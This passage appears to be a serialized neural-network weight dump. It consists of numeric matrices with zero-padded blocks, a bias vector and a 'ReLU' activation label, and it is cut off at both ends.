0.2377, -0.4807, -0.6636, -0.1034, -0.01429, -0.2053, -0.329, -0.864, -0.04865, -0.595, 0.09106, -0.01448, -0.0957], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.04672, -0.237, 0.04428, 0.4414, -0.562, -0.4226, 0.31, 0.574, -4.402, 0.02158, 1.333, 0.05188, -0.4316, -0.1715, 0.2457, -0.9634, 0.14, 0.8765, 0.03314, -0.3848, -0.7114, 0.786, 0.5522, -0.2318, 0.417, 0.0824, -0.1287, -1.383, 0.19, -0.1738, -0.6, -0.1438, -0.881, 0.03152, 0.9043, 0.1393, -1.705, 0.7256, -0.4492, -0.293, -0.4524, -0.276, 0.02905, -0.02393, 0.0421, 0.04315, 0.1292, -0.0754, 0.1808, 0.1545], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.273, -0.2683, 0.253, -0.1179, 1.178, -0.2457, 0.1465, 0.5684, -0.3108, -0.3362, 0.6577, -0.01701, 0.05685, -0.03062, -0.3882, 0.09, 0.523, 0.0839, -0.1974, -0.0701, 0.539, -0.1317, -0.02524, -0.05795, 0.3076, 0.2708, 0.2512, -0.1439, 0.3264, 0.2262, 0.1254, -0.1965, 0.449, 0.2615, 0.3357, 0.01405, -0.726, 0.2214, 0.9424, 0.4827, -2.205, -0.10223, -0.1764, -0.4119, -0.501, 0.0235, 0.0877, -0.0515, -0.06094, 0.1875], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.07605, -0.1738, -0.2369, -0.1647, -0.03717, -0.04642, -0.054, -0.5093, 0.02585, -0.1428, 0.3088, 0.01038, -0.0594, 0.02655, -0.06506, -0.04324, 0.0916, 0.03046, -0.02908, 0.445, -0.2593, 0.03897, -0.3684, 0.037, 0.304, 0.05206, 0.1121, -0.4688, -0.12463, 0.0981, -0.04352, 0.1483, -0.2134, -0.3184, -0.7397, -0.0937, -0.597, 0.0644, -0.4453, -0.1583, -0.03696, 0.0895, -0.1079, -0.02405, -0.2101, -0.04422, 0.1526, 0.04755, -0.06006, -0.0762], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.18, -0.202, 0.1595, 0.1688, 0.291, 0.0645, 0.1722, 0.08386, 0.11206, -0.07904, 0.2756, 0.01958, 0.3147, -0.1519, 0.1356, -0.0619, -0.1895, 0.4456, 0.2438, -1.211, 0.41, -0.05365, 0.05856, -0.3835, -0.02028, 0.2172, 0.2122, -0.0891, 0.00248, 0.3767, -0.0884, -0.1205, 0.2217, 0.3113, -0.148, 0.01129, -0.5146, 0.07214, 0.2537, 0.611, -0.1462, -0.05917, 0.09906, 0.3384, -0.1284, -0.01363, 0.1372, -0.0165, -0.2031, 0.2979], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.3733, -0.09937, 0.3918, -3.266, 0.3604, 0.05212, 0.3757, 1.174, -0.2976, 0.00564, 0.427, 0.0001225, -0.3843, -0.12396, 0.3682, 0.3442, 0.0692, 0.1026, -0.2404, -0.2764, 0.03537, 0.394, 0.2439, -0.6133, 0.769, 0.1406, 1.726, 0.1173, -0.701, 0.455, -0.2927, -0.6675, 0.4866, -0.2257, -0.2551, -0.2443, 0.5625, -0.008995, 0.5225, 1.449, -1.027, 0.002205, 0.1632, 0.1764, -0.814, -0.000733, 0.9478, -0.12054, -0.1427, -1.607], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.4685, 0.2164, -0.871, -0.4949, -1.911, -1.051, 1.253, -1.423, -0.3086, -0.1772, -4.12, 0.01333, -1.261, -0.7646, -0.9365, -0.821, -1.082, -0.2524, -1.668, 1.465, 0.2169, -0.04102, 2.05, -0.294, -0.777, -4.43, 3.062, -4.055, 0.3325, 0.3933, -2.355, -1.424, -0.2617, -0.3657, -1.294, -0.781, 0.86, 1.409, -0.212, -1.934, -0.3328, 0.3157, -1.279, -0.7886, -0.4917, -0.04712, -0.2334, 1.359, 0.2345, -1.653], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.622, -0.37, -0.3435, -0.1571, 0.3962, 0.3755, 0.0741, -0.319, -0.1092, 0.238, 1.728, -0.03021, -0.179, 0.2725, -0.449, 1.096, 0.2297, 0.6626, -0.2866, 0.5728, 0.9517, 0.7866, 0.4807, 0.2515, 0.3005, 0.894, 0.393, 1.583, -0.5044, 0.0545, -0.571, 0.08344, 0.4214, -0.586, 0.37, -0.3713, 2.229, 0.564, 0.289, -0.967, -2.113, -0.222, -0.686, -0.5073, 0.471, 0.03125, 0.523, -0.6187, 0.3438, -0.1398], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.0626, -0.03522, -0.2012, -0.1713, 0.1159, 0.12085, 0.1783, -0.4639, 0.004616, -0.1514, 0.03043, 0.04703, -0.2461, 0.0342, 0.0757, -0.03574, 0.1268, 0.2335, -0.0008874, 0.5986, -0.2505, -0.03238, -0.10815, 0.0863, -0.272, 0.1034, 0.0475, 0.03735, -0.1431, 0.4695, -0.089, 0.0803, -0.10895, -0.3198, -0.2158, -0.1698, -0.01094, 0.217, -0.302, 0.03117, -0.01945, -0.00404, -0.0639, -0.03235, -0.1174, -0.03485, 0.2006, 0.04135, -0.1124, 0.302], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.03497, -0.05005, -0.05313, -0.01288, -0.05884, 0.0265, -0.02188, 0.0227, 0.01724, 0.012436, -0.0397, -0.03735, -0.002684, -0.03864, -0.00849, 0.02075, 0.01654, 0.002377, -0.01362, -0.05197, 0.0351, 0.01772, -0.03726, 0.01401, 0.04297, -0.03105, -0.01323, -0.005302, -0.03482, 0.01333, 0.004005, -0.02986, -0.02948, 0.02544, -0.03482, 0.005554, -0.04807, -0.0206, -0.0192, -0.01868, -0.05682, -0.0543, -0.0365, -0.01056, -0.04834, 0.04385, -0.04868, 0.04874, -0.04788, 0.009964], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.2113, 0.2179, -0.05588, 0.1146, -0.268, -0.08014, -0.1082, 0.3152, -0.4146, 0.0407, -0.1648, -0.01118, -0.1534, 0.03223, -0.03833, -0.06494, -0.0403, -0.2297, -0.2764, 0.549, 0.03574, 0.05444, 0.04822, 0.2257, 0.004475, -0.1772, -0.1602, 0.05908, 0.1753, -0.1666, -0.04947, -0.3472, 0.243, 0.2468, 0.602, 0.3237, -0.5303, 0.0841, 0.4475, -0.4956, 0.03772, 0.0423, -0.1266, -0.1192, 0.3174, -0.00443, -0.702, 0.1406, 0.05423, -0.1271], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.011055, 0.01194, 0.2261, 0.0407, 0.3425, 0.09314, 0.2399, 0.1846, -0.02971, -0.10315, 0.1467, 0.010506, -0.03195, 0.07983, -0.2048, 0.00962, -0.03696, -0.05026, -0.05707, 0.409, -0.3313, -0.11475, -0.2296, -0.03464, -3.05, -0.2686, 0.01762, -0.00903, 0.001884, 0.2905, -0.2024, 0.2634, 0.377, -0.2993, 0.2117, -0.1199, 0.4785, 0.1065, -0.1859, 0.247, 0.246, -0.00604, -0.0536, 0.1354, 0.01028, 0.01128, 0.8066, -0.008446, 0.03, 0.1827], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -2.52, -0.0397, 0.2874, -0.58, 1.422, 0.4531, 0.3264, 0.536, -0.5767, -0.2181, -4.824, 0.002537, -0.4973, 0.0831, -1.261, -0.894, 0.4111, -0.3193, 0.9634, -0.0806, -0.5337, 1.564, 0.6943, -0.678, 1.38, -0.06647, -1.072, -7.938, 0.2144, -0.1362, -1.704, -0.927, -0.3564, 0.1886, 1.201, -0.2423, -1.052, -0.509, 0.0582, -0.8945, 0.1797, -0.1221, -3.39, 0.445, -1.49, -0.01485, -0.723, 0.3647, -0.524, -1.537], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.02805, -0.05667, 0.04044, 0.0813, 0.7793, -0.4006, -0.1744, 0.2727, -0.1558, -0.772, 0.1791, -0.03473, -0.04877, 0.05905, -0.0732, -0.03023, 0.0043, 0.8735, -0.00756, 0.7236, -0.10315, -0.2776, 0.01193, 0.2168, 0.1583, -0.0557, -0.011955, 0.05295, -0.0515, 0.004467, -0.3616, -0.3318, -0.6445, -0.4014, 0.002028, 0.1262, -0.698, -0.07654, 0.1826, -0.0794, 0.07574, -0.01794, 0.10394, 0.2686, 0.00982, -0.005, -0.104, 0.1079, -0.2428, -0.02754], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -2.975, -0.4768, -0.869, 0.4758, 1.162, 0.527, 0.752, 1.466, -0.06094, -0.2162, 0.1906, -0.03287, -0.02625, -0.1509, 0.665, 0.854, -0.422, 0.779, 0.704, -1.198, 0.569, -0.03018, -1.377, -1.5205, -1.056, 0.2832, -1.349, -0.3743, 1.516, 0.496, 1.329, -0.628, -0.9614, 0.4233, 1.952, -0.2944, 0.5234, -1.016, -0.9023, -0.7427, -0.1406, -0.622, -3.602, 0.3083, -0.484, -0.00809, 0.777, 0.2189, -0.1704, 1.669]]
[0.472584, 1.24923, -4.52592, -0.657462, -0.0280834, -0.202053, 0.701482, 0.675349, 0.75429, -0.245934, 0.0716491, 0.222435, -0.829458, -0.318647, -0.0077649, 0.945052, -4.44583, 1.05604, 1.65715, -0.801661, 1.57673, 1.02615, 0.0494659, 1.49776, 0.249766, -1.40575, -0.978914, -1.11186, 0.637495, 0.9228, 0.772151, 1.19349, 1.39312, 0.484724, -1.95448, 1.05789, 1.95532, -0.851189, 1.48703, -0.427567, 0.601442, 0.38847, -1.31762, 0.454408, -0.016841, -0.571402, -1.84166, 1.2265, 0.506104, -0.775909, 0.4727, 1.249, -4.527, -0.657, -0.02808, -0.202, 0.7017, 0.6753, 0.7544, -0.246, 0.07166, 0.2224, -0.8296, -0.3186, -0.007767, 0.945, -4.445, 1.056, 1.657, -0.802, 1.577, 1.026, 0.04947, 1.498, 0.2498, -1.405, -0.979, -1.112, 0.6377, 0.923, 0.772, 1.193, 1.394, 0.4846, -1.954, 1.058, 1.955, -0.851, 1.487, -0.4275, 0.6016, 0.3884, -1.317, 0.4543, -0.01685, -0.5713, -1.842, 1.227, 0.5063, -0.776]
ReLU
[[-0.13996, -0.0239428, -0.0400544, -0.0036384, 0.0166867, -0.0419965, -0.055843, -0.0291132, 0.200708, 0.251539, -0.127827, 0.211527, -2.31543, 0.17824, 0.0174381, 0.179031, -0.247272, -0.314763, -0.469559, -0.0803865, 0.0348233, 0.231337, 0.0719423, -0.0261507, -0.0713004, 0.627314, -4.16406, 1.47565, -0.250153, -2.08783, -0.387499, -0.365234, -0.138014, -1.50127, -0.0627581, 0.20152, 0.00564796, 0.276266, 1.15039, -0.481273, -0.0340587, 0.030265, -0.833451, -0.277356, 0.0199412, -0.112237, -1.27312, 0.0567083, -0.912609, -0.436886, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-1.12247, -0.0788235, 0.412712, -0.323753, -0.0171603, 0.0409806, -0.913487, -0.489401, 0.305233, -1.35634, -0.0713638, 0.539438, -0.801523, 0.160846, 0.027957, -0.0853641, -1.25168, 0.19661, 0.324948, -0.317701, 0.132728, 0.400793, 0.0470995, 0.0667832, -0.688268, -0.53451, -0.9882, -1.93721, -0.282944, -0.434204, -1.55601, 0.454157, -0.456023, 0.748384, 0.455873, 0.25929, 0.386742, -2.29302, -0.226991, 3.2558, -0.437847, 0.196671, -0.14383, -0.115706, -0.0405741, -0.125164, -0.540686, 0.216538, 0.352996, -0.21603, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.118911, -0.0294329, -0.0945315, -0.0589183, 0.015126, -0.0103449, 0.0265757, -0.274654, 0.16652, -0.18613, -0.102421, 0.150527, 0.180401, 0.169062, -0.0511399, -0.131323, -0.0697865, -0.0135278, 0.0225632, -0.136342, -0.0774562, 0.0871231, -0.198797, 0.0263992, -0.0878955, 0.330045, -0.00178169, -0.145321, 0.252365, -0.0129986, -0.0750542, -0.0232293, 0.28343, 0.00798246, -0.00670094, 0.1926, 0.0333806, 0.137857, 0.0194639, 0.0121735, -0.0171976, 0.0122604, 0.110337, 0.0418906, 0.0401064, -0.353523, -0.138976, -0.113207, -0.152411, -0.228693, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-1.34074, -0.0812723, 0.417407, -0.338193, 0.033601, 0.0413933, -0.897381, -0.443171, 0.235539, 0.579443, -0.0730294, 0.476662, -0.760817, 0.167453, 0.0431257, -0.0286151, -1.28236, 0.203126, 0.308986, -0.298745, 0.140722, 0.768255, 0.0706533, 0.0585157, -0.771097, 2.33451, -0.714108, -1.47601, -0.324874, -0.442749, -1.48359, 0.398205, -0.489956, 0.764457, 0.462418, 0.27034, 0.401694, -0.827603, -0.272252, 1.57508, -0.442719, 0.20551, -0.184636, -0.167377, -0.0182924, -0.133678, -0.643181, 0.213975, 0.367227, -0.214733, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.352073, 0.0285797, 0.0128055, 0.0053395, -0.0362239, 0.00119416, -0.0118424, -0.0522363, -0.11861, -0.134395, -0.00580547, 0.0178128, -0.08383, -0.026617, -0.0279965, -0.046145, -0.0711561, 0.00519461, -0.0498395, 0.00974108, -0.000673895, -0.128125, 0.0100667, 0.0111979, 0.0174718, -0.196615, -0.0382089, 0.763076, -0.0764925, -0.0313324, 0.0101849, 0.0389366, -0.0141821, 0.14213, 0.00772928, -0.0746957, -0.00919836, 0.0730066, -0.016887, -0.296842, 0.0310058, 0.00612908, 0.0138182, 0.0583666, -0.0159037, -0.00682305, -0.0451572, 0.0232949, 0.00576213, -0.0137272, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0295299, -0.213191, -0.974543, -0.0470862, -0.0250797, -0.0400948, 0.0159321, 0.0427087, -0.00456405, -0.00946044, -0.0330477, -0.0856949, 0.00317312, 0.0534925, -0.00843086, -0.118538, -0.0184983, 0.0135681, -0.0586322, 0.00424904, -0.00672147, -0.0323394, -0.0252974, -0.0589046, -0.0522228, 0.133118, 0.0383226, 0.155301, 0.158564, 0.0284302, -0.0155007, -0.14878, 0.0679714, 0.149964, 0.0272282, 0.0462764, 0.0156715, -0.0296251, -0.12731, 0.00779505, 0.0116767, -0.00540077, 0.0761377, 0.0162108, 0.0208116, -0.0167954, 0.0103326, -0.0085382, 0.108437, -0.16513, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.171882, -0.251091, -0.102932, -0.662344, -0.00723766, -0.0451145, 0.120331, -0.26977, 0.0473384, -0.538275, 0.391416, -1.18665, 0.44538, 0.499221, 0.0354272, 0.0906636, -1.25932, 0.0160022, -0.129041, -0.221211, -0.172815, 0.0144011, -0.360207, 0.129336, 0.119014, -0.0499914, -0.382726, -0.412643, -0.349245, -0.0714358, 0.015912, 0.0674492, 0.140657, -0.24969, 0.0853086, 0.16881, 0.209807, -0.0742938, 0.193068, -0.40715, 0.000899004, 0.134601, 0.57866, -1.07993, 0.0499508, -1.21016, -0.285462, 0.211716, 0.299106, -0.623688, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.170289, -0.0979675, 0.0495958, -0.0171233, 0.0186725, -0.0226914, 0.164608, -0.111214, 0.353211, -0.0756759, -0.0427009, 0.021488, -0.0932186, -0.0292548, 0.000374929, 0.069361, -0.02984, 0.0224432, -0.0201638, -0.0662873, -0.0311121, 0.349099, 0.0310062, 0.0532152, 0.177269, 0.1192, 0.0217846, -0.624452, -0.0189595, 0.00652308, -0.147616, -0.0185572, 0.0950337, -0.175035, -0.00670518, -0.172487, 0.00134863, 0.163388, -0.307883, 0.0358696, -0.0638976, 0.00710307, -0.249436, 0.221045, 0.0269003, -0.148457, 0.0538383, 0.0012813, 0.202019, 0.0242292, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.191819, -0.00353891, -0.0398679, -0.0046993, -0.0239686, -0.041487, 0.0537285, 0.266219, 0.0930749, 0.0117134, -0.0877323, 0.102257, -0.010821, 0.00638257, -0.0208356, -0.058539, -0.0125242, -0.0280635, -0.274487, -0.1368, -0.0378043, 0.252093, -0.00605905, 0.0146381, 0.015314, 0.283699, 0.0358086, 0.788066, 0.0506576, -0.0177199, -0.00983562, 0.0286438, 0.216955, 0.178442, -0.104553, 0.106825, 0.0289607, 0.0998792, 0.0445935, -0.229332, -0.0183667, 0.00616686, 0.0578525, 0.093978, -0.0257272, -0.197237, 0.0714922, -0.0339846, -0.100088, 0.00195807, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0379565, -0.120762, 0.0545289, -0.122167, 0.011096, -0.358793, 0.146425, 0.134115, 0.635643, -0.230582, 0.0180869, 0.661608, -0.20933, 0.175119, 0.0266609, -0.163589, -0.10586, -0.0639358, -0.217278, -0.212643, -0.0147674, -0.00559285, -0.114632, -0.153638, 0.263141, 0.0946672, 0.0399623, 0.663306, 0.508411, 0.213133, 0.113082, -0.110771, 0.327774, -0.429202, 0.213751, 0.0248308, 0.102184, 0.0566257, 0.415038, 0.229148, -0.093251, -0.0612272, -0.0756834, 0.133872, 0.00339064, -0.295084, 0.201242, -0.0471369, 0.10262, -0.0299883, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.88155, -4.80198, -0.752214, -0.747805, 0.047591, 0.0746644, 2.03969, -0.922782, -4.06475, -2.05833, -1.79164, -12.8026, -5.04722, -0.375224, -0.0453298, -2.83211, -8.70481, -3.57708, -2.63609, 0.977524, -3.60271, -2.90778, -0.911124, -0.405592, -6.90056, -0.82638, -6.21781, 0.0345086, -1.52642, -1.93241, -1.42374, 0.491222, -0.689369, -0.0361349, 0.205122, -4.86632, 2.35232, -2.73267, -6.22273, -8.26925, -1.23759, 0.305036, 0.272406, -1.13694, -0.0242233, -0.894707, -1.88286, 0.231636, -0.0781419, -10.7692, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.230734, 0.031945, 0.107092, -0.33147, -0.0463107, -0.105669, -0.183757, -0.0326057, -0.870663, -0.367655, -0.377896, -0.442896, 0.525418, -0.152186, -0.000360869, 0.078579, -0.644495, -0.00239311, -0.346881, -0.242934, 0.0616018, 0.188379, -0.659906, -0.222306, -0.396779, 1.17184, -0.54682, 0.573167, 0.13092, -0.703873, -0.216254, -0.246362, 0.828615, -2.20116, -0.241715, 0.0519986, 0.0399069, 1.00167, 0.147309, 0.912705, -0.112099, 0.0808713, 0.279442, 0.133076, 0.0407666, -0.192642, -0.475819, 0.140584, -0.7187, -0.337487, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 